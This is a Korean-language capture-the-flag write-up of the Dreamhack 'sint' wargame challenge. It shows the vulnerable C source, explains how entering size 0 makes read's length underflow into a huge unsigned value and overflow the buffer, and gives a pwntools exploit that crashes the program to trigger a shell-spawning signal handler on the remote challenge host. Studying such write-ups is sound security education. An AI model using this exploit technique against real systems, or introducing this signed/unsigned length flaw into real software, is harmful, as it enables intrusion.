TIL: Type Error
Wargame: sint
문제의 소스 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
Vulnerability Scanning
-
checksec
read(0, buf, size - 1);
에서size
의 값을 잘 입력하면 BOF를 일으킬 수 있다.size
의 값이size > 256 || size < 0
일 것을 요구하고 있으나, type casting으로 인해 생기는 underflow를 활용하면size
를 256보다 큰 값으로 설정할 수 있다.
signal(SIGSEGV, get_shell);
→ Segmentation fault가 일어나면get_shell
을 실행하므로 seg fault만 발생시키면 shell을 획득할 수 있다.
Underflow
이 문제는 size > 256 || size < 0
이라는 조건문으로 size
의 값을 제한하고 있으나, size
를 0으로 줄 경우 size
를 256보다 큰 값으로 설정할 수 있다.
read
의 형태는 ssize_t read (int fd, void *buf, size_t nbytes)
으로, size
를 size_t
로 cast함을 알 수 있다. 이때 size_t
는 unsigned int
이므로, size
를 0으로 주면 size - 1
, 즉 -1이 unsigned int로 cast되고, 이 값은 곧 UMax가 된다. → BOF를 일으킬 수 있다.
Exploit
from pwn import *
#p = process("./sint")
#gdb.attach(p)
p = remote("host3.dreamhack.games", 8302)
p.sendlineafter("Size: ", "0")
p.sendafter("Data: ", b"A"*(0x100 + 0x60 + 0x8 + 0x8))
p.interactive()
gdb
를 이용해 stack frame의 구조를 파악한 후main
의 return address에 dummy 값인 “AAAAAAAA”를 입력한다. → Seg fault가 발생해 shell을 획득할 수 있다.
Leave a comment